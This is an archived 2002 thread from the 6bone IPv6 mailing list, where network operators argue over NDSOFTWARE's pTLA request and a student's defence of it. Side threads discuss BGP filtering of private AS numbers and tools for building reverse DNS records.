> stated in RFC. We should encourage all.
> 
> - basit
> Graduate Student
> MS Computer Science
> Wichita state university
> http://basit.cc
> http://ip6.basit.cc
> 
> 
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone

From pim@ipng.nl Fri Oct 25 07:51:44 2002
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Date: Fri, 25 Oct 2002 16:50:21 +0200
From: Pim van Pelt <pim@ipng.nl>
To: Abdul Basit <basit@basit.cc>
Cc: 6bone@mailman.isi.edu
Subject: Re: [6bone] Re: pTLA request NDSOFTWARE - review closes 23 October 2002
Message-ID: <20021025145021.GA25450@bfib.colo.bit.nl>
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Hoi Abdul,

May I ask what is your position at the 'NGC' or Wisconsin university
currently? Your signature leads to believe that you are a grad student.
Not that this matters at all, but I do think that an american university
(or students organisation therein) should be able to find connectivity
on that continent at least.

I agree that sometimes larger networks are not that willing to cooperate
with IPv6 deployments, but turning to a European
institute/company/private individual in that case, does not seem
appropriate.

Regarding your statement on offensiveness, most all replies to the pTLA
request did not have personal attacks. We (the general 6BONE population)
do have our doubts regarding the validity of the existance of NDSOFTWARE 
as a commercial entity. When somebody looked into the Chambers of
Commerce, they could not find any entry for that company.

Although DEFFAYET does seem to have a positive contribution on the
enduser side, helping institutes and individuals with IPv6 related
things, so do others. For example, IPng.nl (www.ipng.nl) has a nice
userbase and educational role. However, contrary to what some people
state, IPng.nl does not have a pTLA but simply a statically routed block
of addresses from an upstream, who in fact is a large dutch metropolitan
ISP in the Amsterdam region.

I do not feel that NDSOFTWARE has a valid userbase, I don't think they
are a 'real' company (although I cannot prove this statement), and I
don't think they are capable of being well-behaved on the 6BONE. Their
reputation from the past precedes them. 

groet,
Pim

On Fri, Oct 25, 2002 at 01:11:01PM -0500, Abdul Basit wrote:
| Hello folks@6bone ,
| 
|  I like to favour Mr Deffayet on his pTLA request, I am speaking on behalf
| of NextGenCollective (NGC), NGC is a reasearch organization that provides
| ipv6 tunnels to over 150 users , We have NDSOFTWARE as our ipv6
| upstream. NGC is housed at WSU (Wichita state university), USA, As a
| matter of fact, in very begining , we were unable to find any support
| of ipv6 , it was Mr Deffayet who helped us a lot, so its wrong to say that
| he is an offensive person, I see him working almost all the time
| supporting his customers.  and not to mention NDSOFTWARE does supports
| many research based ipv6 projects, NGC, and IPng are one of them.
| and NGC in turns plan to deploy IPv6 on whole WSU network infrastructure.
| We also plan to tunnel with KU and KSU in cojunction with HiPECC
| (http://www.hipecc.twsu.edu) Internet2 project at WSU. Even we are
| analyzing the feasibility of deploying IPv6 on laptops issued to students.
| NGC is also providing IPSec tunnels to those who wants with dynamic updates.
| We are also planning to look for feasbility for establishing a mobile
| cluster using ipv6.
| http://www.linuxsymposium.org/2002/view_txt.php?text=abstract&talk=36
| 
|  As a matter of fact, being on irc is fun, you meet nice persons
| and get help, it always the case with me.  On the other hand, persons
| working in cisco, motorolla, Nokia are of no real help, I tried to contact
| some persons in Nokia (listed at http://www.nokia.com/ipv6/ ) several
| times , no reply i got, but if i email Mr Deffayet for some question or
| ask for some support, i usually get reply on the same day. I give credit
| to Mr Deffayet of what is  currently being done under NGC as he is the one
| who is supporting that research work. I beleive NOKIA , cisco and other
| BIG giants don't support IPv6 work at universities that much that
| NDSOFTWARE is trying to do.
| 
|  My opinion is , if NDSOFTWARE's request is fully RFC2772 compliant,
| there should be no objection of approving its pTLA 's request, or
| ppl who are against it should provide strong reasons in terms of RFC2772
| to oppose the request. Its not ONLY the right of BIG organizations
| (like Nokia, Cisco etc) to become pTLA, other relatively small
| organization can serve as a pTLA 's also if they obey the rules
| stated in RFC. We should encourage all.
| 
| - basit
| Graduate Student
| MS Computer Science
| Wichita state university
| http://basit.cc
| http://ip6.basit.cc
| 
| 
| 
| _______________________________________________
| 6bone mailing list
| 6bone@mailman.isi.edu
| http://mailman.isi.edu/mailman/listinfo/6bone

-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From paitken@cisco.com Fri Oct 25 07:56:04 2002
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Abdul,

 > On the other hand, persons working in cisco, motorolla, Nokia are of
 > no real help

I'd like to hear your justification for this, especially since you've 
never contacted our IPv6 support alias?

I would hope that most people who contact us go away happy. If they 
don't, we're doing something wrong and I'd like to hear about it.

Note that cisco IPv6 support is handled by cisco engineering and not by 
cisco TAC, so it's always on a "best effort" basis and not guaranteed to 
be available 24 x 7. But on the other hand, who better to answer your 
questions than the people who wrote the code?

Cheers.
-- 
Paul Aitken
IPv6 Development, Cisco Systems Ltd, Edinburgh, Scotland. EH6 6LX


From tvo@EnterZone.Net Fri Oct 25 08:08:53 2002
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From: John Fraizer <tvo@EnterZone.Net>
To: Abdul Basit <basit@basit.cc>
cc: 6bone@mailman.isi.edu
Subject: Re: [6bone] Re: pTLA request NDSOFTWARE - review closes 23 October
 2002
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On Fri, 25 Oct 2002, Abdul Basit wrote:

> Hello folks@6bone ,
> 
>  I like to favour Mr Deffayet on his pTLA request, I am speaking on behalf
> of NextGenCollective (NGC), NGC is a reasearch organization that provides
> ipv6 tunnels to over 150 users , We have NDSOFTWARE as our ipv6
> upstream. NGC is housed at WSU (Wichita state university), USA, As a

Might I suggest that while NGC obviously offers a viable service to your
tunnel "clients", NDSOFTWARE is _not_ a very good choice to provide
transit services to you?

I suggest that you take a look at pTLA holders in the continental US, do
some traceroutes to the v4 addresses they have listed in their tunnel
statements and find one that is close to you for both RTT and physical
topology.

As it stands, if one of your tunnel clients wants to access say,
www.6bone.net via IPv6, the packet has to go from the US to France and
then back across the ocean to Canada.  Not a very well optimized
situation.


> matter of fact, in very begining , we were unable to find any support
> of ipv6 , it was Mr Deffayet who helped us a lot, so its wrong to say that
> he is an offensive person, I see him working almost all the time

His helping you is nice.  It does not change anything else though.


> supporting his customers.  and not to mention NDSOFTWARE does supports
> many research based ipv6 projects, NGC, and IPng are one of them.
> and NGC in turns plan to deploy IPv6 on whole WSU network infrastructure.

And again, I suggest that you find a more viable transit provider.  Is NGC
a university supported activity or are you doing this as a project of your
own.  If in fact it is a university supported activity, you have a wealth
of resources at your disposal.

I am quite certain that there are many pTLA holders in the US that would
be more than happy to help you out.  We appear to be about 70ms and 12
router hops out from you.  While I'm sure that this is better than your
tunnel to NDSOFTWARE, I'm sure that there are other pTLA providers in the
US can provide you a closer connection.  If not, we can help you out.  You
never contacted us when you decided to start your project so, I don't feel
that you looked very hard for help in the US.

> We also plan to tunnel with KU and KSU in cojunction with HiPECC
> (http://www.hipecc.twsu.edu) Internet2 project at WSU. Even we are
> analyzing the feasibility of deploying IPv6 on laptops issued to students.
> NGC is also providing IPSec tunnels to those who wants with dynamic updates.
> We are also planning to look for feasbility for establishing a mobile
> cluster using ipv6.
> http://www.linuxsymposium.org/2002/view_txt.php?text=abstract&talk=36

That is all very neat and I'm glad that you're doing active research in
the v6 field.  None of it lends any more validity to the NDSOFTWARE pTLA
application though.

> 
>  As a matter of fact, being on irc is fun, you meet nice persons
> and get help, it always the case with me.

OK.  If you say so.  Where did that come from?  I though we were talking
about a pTLA application, not IRC.

Top 10 list of things I've found on IRC:

(1) 'leet d00dz plotting their next dDoS.
(2) Pr0n.
(3) People looking for pr0n.
(4) pedofiles looking for their next victim.
(5) potential victims (be it of a dDoS, a pedofile, or both.)
(6) warez
(7) people looking for warez.
(8) Thousands on thousands of bots guarding the electronic "turf" of their
prepubescent "owners."
(9) Thousands on thousands of OTHER bots trying to steal that turf on
behalf of their prepubescent "owners."
(10) prepubescent bot owners bitching about having their "channel" taken
over by some other prepubescent bot owner. 


Obviously, my experience differs from yours.

>  On the other hand, persons working in cisco, motorolla, Nokia are of
> no real help, I tried to contact some persons in Nokia (listed at
> http://www.nokia.com/ipv6/ ) several times , no reply i got, but if i

My you paint with a very wide brush, don't you?  Let me guess.  You sent
an email something along the lines of:

"hello.  i want i should tunnel get from you ipv6 site for my friends and 
me."

Contrary to popular belief, the folks who _work_ at Cisco, Motorola and
Nokia don't get paid to solve the problems of NON-CUSTOMERS.  When they
have the time to do so, and when presented with a detailed description of
a problem which they have the resources to remedy, I find them to be more
than willing to help.

> email Mr Deffayet for some question or ask for some support, i usually
> get reply on the same day. I give credit to Mr Deffayet of what is
> currently being done under NGC as he is the one who is supporting that
> research work. I beleive NOKIA , cisco and other BIG giants don't
> support IPv6 work at universities that much that NDSOFTWARE is trying
> to do.

Are you available for hire as a political spokesperson?  Seriously.  You
have a knack for spin that is only found in true polical pros.

Has your university presented any type of OFFICIAL proposal to any of the
companies you reference above?  Do you have any idea how many non-official
proposals these companies get from individuals?


>  My opinion is , if NDSOFTWARE's request is fully RFC2772 compliant,
                  ^^^
                   |--- If it was RFC2772 compliant, I wouldn't be so
against it.  Have you bothered to read any of the many emails where myself
and others have pointed out RFC2772 violations?


> there should be no objection of approving its pTLA 's request, or
> ppl who are against it should provide strong reasons in terms of RFC2772
> to oppose the request. Its not ONLY the right of BIG organizations
> (like Nokia, Cisco etc) to become pTLA, other relatively small
> organization can serve as a pTLA 's also if they obey the rules
> stated in RFC. We should encourage all.
> 
> - basit
> Graduate Student
> MS Computer Science
> Wichita state university
> http://basit.cc
> http://ip6.basit.cc


I certainly hope that you put more research into your thesis than you did
into your arguement for approval of the NDSOFTWARE pTLA application.  Do
yourself a favor and look back through this thread.  You will find pages
and pages of "strong reasons in terms of RFC2772 to oppose the request."


---
John Fraizer              | High-Security Datacenter Services |
President                 | Dedicated circuits 64k - 155M OC3 |
EnterZone, Inc            | Virtual, Dedicated, Colocation    |
http://www.enterzone.net/ | Network Consulting Services       |



From tvo@EnterZone.Net Fri Oct 25 08:26:14 2002
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From: John Fraizer <tvo@EnterZone.Net>
To: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
cc: 6bone@ISI.EDU
Subject: Re: [6bone] private ASNs and the Default-Free-Zone
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On 25 Oct 2002, Nicolas DEFFAYET wrote:

> On Fri, 2002-10-25 at 12:15, John Fraizer wrote:
> 
> > This is not a problem:
> > 
> > ipv6-site:    COMPENDIUM-AR
> > origin:       AS45328
> > descr:        Compendium, Buenos Aires, AR
> > country:      AR
> > prefix:       3FFE:8260::/28
> 
> Do you think that it's normal to allocate a pTLA with an unallocated ASN
> ?

Considering the age of that allocation, yes, I _do_ think it is normal.


> 
> > Beyond that, if you peer with someone who uses a private ASN, use the
> > following command (or equiv for your router) on the peering session:
> > 
> >  neighbor 3ffe:xxxx::xxxx remove-private-AS
> > 
> > If your router code doesn't support that command or one like it, might I
> > suggest that you UPGRADE? 
> 
> remove-private-AS will remove the private ASN in ASpath, not the route
> with private ASN...
> 
> Exemple:
> 
> 3ffe:ffff::/32
> 
> 1 2 3 65000
> 
> If AS3 use remove-private-AS, other network will get this:
> 
> 3ffe:ffff::/32
> 
> 1 2 3
> 
> AS3 is not the source of 3ffe:ffff::/32, the source is 65000

As far as those of us who operate in the DFZ are concerned, AS3 is the
source.

> => private ASN _MUST_ send their routes with the community no-export
> (like i do before)

Nicolas, the no-export on your prefixes is to prevent you breaking
aggregation in the DFZ.  If you had been announcing a pTLA or sTLA, the
route DOES belong in the DFZ.  Otherwise, it would be unreachable to a
large percentage of the v6 community.

> 
> Using this for don't announce route with private ASN is better:
> 
> ip as-path access-list private-asn-out deny
> _(6451[2-9]|645[2-9][0-9]|64[6-9][0-9][0-9]|65[0-4][0-9][0-9]|655[0-2][0-9]|6553[0-5])_
> ip as-path access-list private-asn-out permit .*

While I agree that private ASNs should be stripped, we don't want to block
the PREFIX.  It just needs to show up as sourced from the upstream that
*HAS* a real ASN.

We don't want to break connectivity.  We want to police what SOURCE ASNs
show up in the DFZ.  Private and unallocated ASNs should NOT show up in
the DFZ.


---
John Fraizer              | High-Security Datacenter Services |
President                 | Dedicated circuits 64k - 155M OC3 |
EnterZone, Inc            | Virtual, Dedicated, Colocation    |
http://www.enterzone.net/ | Network Consulting Services       |



From ajs@labs.mot.com Fri Oct 25 08:32:46 2002
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Subject: Re: [6bone] Re: pTLA request NDSOFTWARE - review closes 23 October
 2002
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Abdul Basit wrote:
> Hello folks@6bone ,

<snip support of Nicolas' pTLA request>

>  As a matter of fact, being on irc is fun, you meet nice persons
> and get help, it always the case with me.  On the other hand, persons
> working in cisco, motorolla, Nokia are of no real help, I tried to contact
> some persons in Nokia (listed at http://www.nokia.com/ipv6/ ) several
> times , no reply i got, but if i email Mr Deffayet for some question or
> ask for some support, i usually get reply on the same day. 

I don't recall ever being contacted by you.  I get a lot of email, so 
perhaps I didn't notice or it looked like an unsolicitated resume or 
some other type of university spam and was summarily deleted.  If so, I 
apologize, but like I said, I don't think that you ever contacted me or 
our 6bone alias.  That being said, I don't think that you should 
generalize about the responsiveness or helpfulness of an entire company 
based on a single experience with another.

If you do legitimately contact somebody on a one-to-one basis, and have 
no luck geting a response, why not try calling them out on the list. 
Shame motivates.

>I give credit
> to Mr Deffayet of what is  currently being done under NGC as he is the one
> who is supporting that research work. I beleive NOKIA , cisco and other
> BIG giants don't support IPv6 work at universities that much that
> NDSOFTWARE is trying to do.

If you are located in the state of Kansas and are involved in I2 
research, then I would think that you would want to contact I2 regarding 
IPv6 connectivity.  See the news release referenced at the following link:

http://archives.internet2.edu/guest/archives/i2-news/log200208/msg00000.html

Or am I being of, "no real help" here?  It seems to make sense to me as 
I2 _is_ the organization that supports _universities_ in this and other 
areas.

<snip the rest of post>

Regards,

Aron

-- 
Aron J. Silverton
Senior Staff Research Engineer
Motorola Laboratories, Networks and Infrastructure Research
Motorola, Inc.


From oliver.michael@gargantuan.com Fri Oct 25 08:57:57 2002
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From: "Michael W. Oliver" <oliver.michael@gargantuan.com>
To: Paul Aitken <paitken@cisco.com>, Abdul Basit <basit@basit.cc>
Subject: Re: [6bone] Support
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On Friday, October 25, 2002 10:55, Paul Aitken said:
> Abdul,
>
>  > On the other hand, persons working in cisco, motorolla, Nokia are of
>  > no real help
>
> I'd like to hear your justification for this, especially since you've
> never contacted our IPv6 support alias?
>
> I would hope that most people who contact us go away happy. If they
> don't, we're doing something wrong and I'd like to hear about it.
>
> Note that cisco IPv6 support is handled by cisco engineering and not by
> cisco TAC, so it's always on a "best effort" basis and not guaranteed to
> be available 24 x 7. But on the other hand, who better to answer your
> questions than the people who wrote the code?
>
> Cheers.

I would like to say publicly that I am 110% satisfied with the support that 
I have received from Paul in the past.  Although his comany disco'd support 
for my 4700 *SIGH*, he has continued to support my needs by answering 
questions from time to time via email, always responding quickly, even on 
the weekends.  To date, I have paid $0 for his support, and for that I am 
thankful.

Good work Paul.

-- 
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
       Michael W. Oliver, CCNP | 
         IPv6 & FreeBSD mizark | "The tree of liberty must be refreshed
 oliver.michael@gargantuan.com | from time to time with the blood of
http://michael.gargantuan.com/ | patriots and tyrants."
           (via IPv4 and IPv6) |   -President Thomas Jefferson to
IPv6 ASPathTree, Looking Glass |       W.S. Smith on 13 November, 1787
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-




From michel@arneill-py.sacramento.ca.us Fri Oct 25 09:24:42 2002
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> Rik van Riel wrote:
> I hope to be able to clear up this confusion soon,
> but as long as the RIRs refuse to give out ASNs for
> sites that don't do ipv4 multihoming COMPENDIUM
> will have to rely on the goodwill of a friendly
> ipv4 site ... and I think Horape found one.

It's not the RIRs. ARIN will give out an ASN for an IPv6-only site; I
never requested one to APNIC so I don't know there.

Michel.


From tvo@EnterZone.Net Fri Oct 25 09:31:03 2002
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Well, 9 months or so from now, I'll be announcing a more specific.

fraizer::david:andrew/128 - if it's a boy that is.


---
John Fraizer              | High-Security Datacenter Services |
President                 | Dedicated circuits 64k - 155M OC3 |
EnterZone, Inc            | Virtual, Dedicated, Colocation    |
http://www.enterzone.net/ | Network Consulting Services       |



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On Fri, 25 Oct 2002, Michel Py wrote:

> It's not the RIRs. ARIN will give out an ASN for an IPv6-only site; I
> never requested one to APNIC so I don't know there.

Thanks, good to know that policy has changed by now.

When COMPENDIUM was allocated ipv6 was still a backwater
thing the RIRs weren't interested in.

kind regards,

Rik
-- 
Bravely reimplemented by the knights who say "NIH".
http://www.surriel.com/		http://distro.conectiva.com/
Current spamtrap:  <a href=mailto:"october@surriel.com">october@surriel.com</a>


From arnouten@bzzt.net Fri Oct 25 10:33:58 2002
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From: Arnout Engelen <arnouten@sci.kun.nl>
To: 6bone@mailman.isi.edu
Subject: Re: [6bone] Re: pTLA request NDSOFTWARE - review closes 23 October 2002
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On Fri, Oct 25, 2002 at 11:08:34AM -0400, John Fraizer wrote:
> On Fri, 25 Oct 2002, Abdul Basit wrote:
> >  As a matter of fact, being on irc is fun, you meet nice persons
> > and get help, it always the case with me.
> 
> OK.  If you say so.  Where did that come from?  I though we were talking
> about a pTLA application, not IRC.
> 
> Top 10 list of things I've found on IRC:
> 
> (1) 'leet d00dz plotting their next dDoS.
> (2) Pr0n.
> (3) People looking for pr0n.
> (4) pedofiles looking for their next victim.
> (5) potential victims (be it of a dDoS, a pedofile, or both.)
> (6) warez
> (7) people looking for warez.
> (8) Thousands on thousands of bots guarding the electronic "turf" of their
> prepubescent "owners."
> (9) Thousands on thousands of OTHER bots trying to steal that turf on
> behalf of their prepubescent "owners."
> (10) prepubescent bot owners bitching about having their "channel" taken
> over by some other prepubescent bot owner. 

Hm, I must say I indeed don't really understand what that statement had 
to do with the rest of Abdul's case, but I must say my own experience is 
quite different from Johns.

I'm on a few small channels (around 10-25 users usually, including 
idlers), and actually my experience is quite positive.

#wxwindows on opn, for example, is the channel of a neat cross-platfrom
gui toolkit (www.wxwindows.org, a tad like QT). Newbies who pop by are
helped getting started, finding out where the good docs are, etcetera,
all in a quite friendly way. More experienced users help the newbies and
discuss the more advanced issues at times.

I have consulted #ipv6 on that same server a couple of times, and got
pretty useful responses - I've even helped some people there doing
basic ipv6 dns and such. 

Every now and then I pop around on #debian, which is quite crowded but
mostly very helpful, too.

I've had some less friendly experiences of course, for example someone
on the aformentioned #ipv6 who suddenly refused to help me since I was
obviously incompetent and shouldn't be playing with grown-ups toys like
ipv6, but that is not very common. (I solved my problem on my own, I had
specified my default ipv6 route as '::' instead of as '2000::/3').


I guess it's mostly dependent on what server you're on, on opn there are
pretty good services (which prevent channel takeovers), no porn or warez
to be found (as far as I can tell) and a generally frienly crowd.

A typical example of 'ymmv', I guess.

-- 
Arnout Engelen <arnouten@bzzt.net>

  "If it sounds good, it /is/ good."
          -- Duke Ellington

From rrockell@sprint.net Fri Oct 25 11:09:48 2002
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Subject: Re: [6bone] Re: pTLA request NDSOFTWARE - review closes 23 October
 2002
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Arount, not a flame to you, but in general:

Focus people.    Abdul has written in support of NDS, and has shown that NDS
is active and helpful with their downstream customers.   For one, I have
received this comment, and I think it was good to have someone show the
other side of the story.  This is about a pTLA, not IRC, or pr0n.

From my perspective, NDS has been a downstream customer for quite some time
(of Sprint's Ipv6).  I am guilty of having too buggy a script to have the
tunnel show up in my registry object, but I can contest that NDS has shown
proficiency in configuration and maintenance of their 6bone connection. They
have not complained about Sprint's stringent filter policy, and they are a
low-overhead customers (i.e. I don't spend too much time on their tunnel).
Please don't let my indeptitude with regex hold them from qualifying under
that item.

From this perspective, I have nothing to show that NDS is not capable, from
an IPv6 expertise standpoint.

One issue that I think IS good topic for this list, and is a long time overdue:
Are/SHOULD pTLA delegations be gated by the type of company that one has?
In the past, IPv6 TLA's were seen to be given to large carriers/isp's (I
promise not to say 'tier 1'; let's jut say people with lots of downstream
customers).   Obviously, this has not been the case. If one looks at the
current base of pTLA delegations, only a FEW are actually commercial
entities that service transit IP(v6) connectivity for a potentially large
customer base. We have research institutions, hardware vendors, etc...

So if we are going to blast NDS, is this becuase we are changing the
delegation rules, or becuase we plan on going back and cleaning up the
history?   We should decide which is being proposed.  Again, I am not
offering an opinion on this, as doing so would certainly get me flamed by
one side of the other, but this should remain a consideration.



Thanks
Rob Rockell
SprintLink
(+1) 703-689-6322
-----------------------------------------------------------------------

On Fri, 25 Oct 2002, Arnout Engelen wrote:

->On Fri, Oct 25, 2002 at 11:08:34AM -0400, John Fraizer wrote:
->> On Fri, 25 Oct 2002, Abdul Basit wrote:
->> >  As a matter of fact, being on irc is fun, you meet nice persons
->> > and get help, it always the case with me.
->>
->> OK.  If you say so.  Where did that come from?  I though we were talking
->> about a pTLA application, not IRC.
->>
->> Top 10 list of things I've found on IRC:
->>
->> (1) 'leet d00dz plotting their next dDoS.
->> (2) Pr0n.
->> (3) People looking for pr0n.
->> (4) pedofiles looking for their next victim.
->> (5) potential victims (be it of a dDoS, a pedofile, or both.)
->> (6) warez
->> (7) people looking for warez.
->> (8) Thousands on thousands of bots guarding the electronic "turf" of their
->> prepubescent "owners."
->> (9) Thousands on thousands of OTHER bots trying to steal that turf on
->> behalf of their prepubescent "owners."
->> (10) prepubescent bot owners bitching about having their "channel" taken
->> over by some other prepubescent bot owner.
->
->Hm, I must say I indeed don't really understand what that statement had
->to do with the rest of Abdul's case, but I must say my own experience is
->quite different from Johns.
->
->I'm on a few small channels (around 10-25 users usually, including
->idlers), and actually my experience is quite positive.
->
->#wxwindows on opn, for example, is the channel of a neat cross-platfrom
->gui toolkit (www.wxwindows.org, a tad like QT). Newbies who pop by are
->helped getting started, finding out where the good docs are, etcetera,
->all in a quite friendly way. More experienced users help the newbies and
->discuss the more advanced issues at times.
->
->I have consulted #ipv6 on that same server a couple of times, and got
->pretty useful responses - I've even helped some people there doing
->basic ipv6 dns and such.
->
->Every now and then I pop around on #debian, which is quite crowded but
->mostly very helpful, too.
->
->I've had some less friendly experiences of course, for example someone
->on the aformentioned #ipv6 who suddenly refused to help me since I was
->obviously incompetent and shouldn't be playing with grown-ups toys like
->ipv6, but that is not very common. (I solved my problem on my own, I had
->specified my default ipv6 route as '::' instead of as '2000::/3').
->
->
->I guess it's mostly dependent on what server you're on, on opn there are
->pretty good services (which prevent channel takeovers), no porn or warez
->to be found (as far as I can tell) and a generally frienly crowd.
->
->A typical example of 'ymmv', I guess.
->
->--
->Arnout Engelen <arnouten@bzzt.net>
->
->  "If it sounds good, it /is/ good."
->          -- Duke Ellington
->_______________________________________________
->6bone mailing list
->6bone@mailman.isi.edu
->http://mailman.isi.edu/mailman/listinfo/6bone
->


From david@iprg.nokia.com Fri Oct 25 11:17:06 2002
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From: David Kessens <david@IPRG.nokia.com>
To: Abdul Basit <basit@basit.cc>
Cc: 6bone@ISI.EDU
Subject: Re: [6bone] Re: pTLA request NDSOFTWARE - review closes 23 October 2002
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Abdul,

On Fri, Oct 25, 2002 at 01:11:01PM -0500, Abdul Basit wrote:
> 
>  As a matter of fact, being on irc is fun, you meet nice persons
> and get help, it always the case with me.  On the other hand, persons
> working in cisco, motorolla, Nokia are of no real help, I tried to contact
> some persons in Nokia (listed at http://www.nokia.com/ipv6/ ) several
> times , no reply i got, 

I am sorry to hear that you tried to contact Nokia but were unable to
get a response.

I would like to find out what the problem was. Please follow up
privately with me and I will see what I can do for you.

I hope this helps,

David K.
---

From cfaber@fpsn.net Fri Oct 25 13:39:23 2002
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Date: Fri, 25 Oct 2002 14:39:08 -0600
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Hi Stephane,

This system wasn't developed for the advanced user.  This system
was developed for users knowing little or nothing about IPv6 arpa
tables.



Stephane Bortzmeyer wrote:
> 
> On Fri, Oct 25, 2002 at 04:48:45AM -0600,
>  Colin Faber <cfaber@fpsn.net> wrote
>  a message of 18 lines which said:
> 
> > Just thought i'd let anyone that's interested know that I've put
> > together a simple web based cgi system to aid in the building of
> > IPv6 IP6.INT records for BIND:
> >
> >       http://tools.fpsn.net/ipv6-inaddr/
> 
> I do not find it as useful as the command-line tool ipv6calc which can
> do many other fun things.
> 
> ftp://ftp.bieringer.de/pub/linux/IPv6/ipv6calc
> 
> ~ % ipv6calc --addr_to_ip6arpa 3ffe:b80:138c::/48
> c.8.3.1.0.8.b.0.e.f.f.3.ip6.arpa.
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone

-- 
Colin Faber
(303) 736-5160
fpsn.net, Inc.

* Black holes are where God divided by zero. *

From old_mc_donald@hotmail.com Sat Oct 26 00:36:01 2002
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----- Original Message -----
From: "Abdul Basit" <basit@basit.cc>
To: <6bone@mailman.isi.edu>
Sent: Saturday, October 26, 2002 2:11 AM
Subject: [6bone] Re: pTLA request NDSOFTWARE - review closes 23 October 2002


> Hello folks@6bone ,

<snip>

NGC is housed at WSU (Wichita state university), USA, As a
> matter of fact, in very begining , we were unable to find any support
> of ipv6 , it was Mr Deffayet who helped us a lot,

I am in no position to comment of Nicolas' application, but just wanted to
point out to
Abdul something on the Internet2 site (www.internet2.edu).

There is a section entitled 'Internet2 Days' and in this section it states:-
'Wichita State University 15th November ,Wichita, KS'

> We also plan to tunnel with KU and KSU in cojunction with HiPECCe
> (http://www.hipecc.twsu.edu) Internet2 project at WSU. Even we are
> analyzing the feasibility of deploying IPv6 on laptops issued to students.

Of which the interesting part is
'http://www.hipecc.twsu.edu/internet2.html'
Links from this page to for instance
:'http://webs.wichita.edu/dt/newsletter/show/?NID=636&AID=1686'
has details that seem to suggest IPv6 connectivity is under way in
collaboration with Internet2 (and the other
180 participating US unis) .

Quote from page :"The university will benefit by differentiating itself in
the market place by adding value to current offerings. WSU will become part
of a substantial international network of collaborating universities, making
itself stronger than it would be on its own."

Either IPv6 & Internet2 connectivity is going on under your nose, or your
part of this collaboration,
in wich (sic) case I apologise.

Gav...



---
Checked for Viruses (Viri) , Gav...
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: 6.0.404 / Virus Database: 228 - Release Date: 15/10/2002

From basit@basit.cc Sat Oct 26 03:01:53 2002
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Hello Tim Chown,

  I only found Mr. Deffayet helping newbies on ipv6 issues at that time on
irc (#ipv6, #ngc), We required more than a /48 and he provided us
that with BGP peering. NDSOFTWARE was running a router in LA also lacr1.xx
,but due to some reasons they had to shutdown that. We were linked through LA and
not pacr1, NGC was only using pacr1 for backup link at that time.

  It would require a lot of time for person like me (just a student),
if i would approach I2 or something else , in that case first thing I had
to do is to approach local WSU HiPeCC officials , and requst them to consider
my request, then they 'd think about it ( usually take 1+ month to get
their response), then might be they make a proposal ( take 1 more month),
the proposal then 'd be judged by I2 committee( take usually 1-2 months)
then 'd a response, then university would order apparatus to deploy it on
campus ( usually take 1 month to get the money released from research
dept). then apparatus would come, then config issues would take atleast
10-15 days .. and a whole semster off for just getting things ready,
research is still far away)! (All hypothesis is on one single
assumption, that the local WSU university officials consider IPv6 worth
to deploy at this time).  and i 'll be out of school by the time they
deploy IPv6!.  While because of Mr Deffayet great help, we had IPv6
connectivity within short period that gives us a chance to explore this
new technology, and i still have gigantic things to learn regarding IPv6.
Now is better choice for me to talk with WSU officals about deployment of
IPv6 oncampus for research. cause now i know a little about it and can
easily answer their questions.  That's what i am trying to do now.

  Just to mention , it took almost 3 weeks for me to get the proto 41
allowed for my ipv4 address (156.25.10.125) first from the CS firewall,
then from university main router ACL.

  I understand that going through NDSOFTWARE increase the response time.
But to have something is better than having nothing. Hope you understand
my point! AFAIK at that time freenet6 and he.net only provides a /48 (i
doubt even if they provide BGP peering or not, i think he.net does).

  I appolgize for being far away from main topic! but i'd just like to
mention the real facts that being as a student one face when he/she try to
do something and the officials / professors don't agree with him !

  This post has nothing to deal with Mr Deffayet's pTLA requests though.
but infact i try to clear some issues about Mr Deffayet, as some person
claims that  Mr Deffayet follow his own rules, I am speaking my behalf
that i had no issue with him.

Take care !
- basit

Graduate student
Dept. Of Computer science
Wichita state university
http://basit.cc
http://ip6.basit.cc

On Fri, 25 Oct 2002, Tim Chown wrote:

>
> Hmm, so your IPv6 upstream is 4,000+ miles away on a different continent,
> through presumably 10-15 IPv4 hops?  Interesting :)
>
> I assume the I2 folks would be more than happy to give you connectivity
> that would not involve your IPv6 traffic to other US universities going
> twice across the pond.
>
> Tim

< snip rest of my orig. mesg>



From basit@basit.cc Sat Oct 26 04:52:05 2002
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From: Abdul Basit <basit@basit.cc>
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To: 6bone@mailman.isi.edu
cc: tm@super.net.pk
Subject: Re: [6bone] Re: pTLA request NDSOFTWARE - review closes 23 October
 2002
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> Might I suggest that while NGC obviously offers a viable service to your
> tunnel "clients", NDSOFTWARE is _not_ a very good choice to provide
> transit services to you?
>

 Right, i agree but at the start of project, we had no other choice
As i told in my previous email, Mr deffayet helped us a lot to get
connected to 6BONE. And we began to use tunnels provided by him. In my
opinion it doesn't matter for now, as NGC is just trying to bring
awareness of IPv6 to newbies that includes individuals, small isp's, and
or university system admins. Like lemme give you an example, it 'd be
easy for someone who works for an isp/insitutes in pakistan and who knows me,
then it will be very easy to train him in native language(not english),
then that isp can train other and so when that country will be allocated a
pTLA , it has all manpower trained to adopt this technology, then they can have
efficient routing or whatever. our another aspect is research, trying
out new technologies related to IPv6 like LIN6,MIPv6,Use of IP Anycast for
Load balancing  etc, i beleive this all requires just stable connectivity
to 6BONE for carrying out experiements. Yes, It is desirable to have
an optimized intermediate routing though.

> I suggest that you take a look at pTLA holders in the continental US, do
> some traceroutes to the v4 addresses they have listed in their tunnel
> statements and find one that is close to you for both RTT and physical
> topology.
>
> As it stands, if one of your tunnel clients wants to access say,
> www.6bone.net via IPv6, the packet has to go from the US to France and
> then back across the ocean to Canada.  Not a very well optimized
> situation.

I will contact others if needed, Thanks for your suggestion.

> His helping you is nice.  It does not change anything else though.

agreed on this.

> And again, I suggest that you find a more viable transit provider.  Is NGC
> a university supported activity or are you doing this as a project of your
> own.  If in fact it is a university supported activity, you have a wealth
> of resources at your disposal.

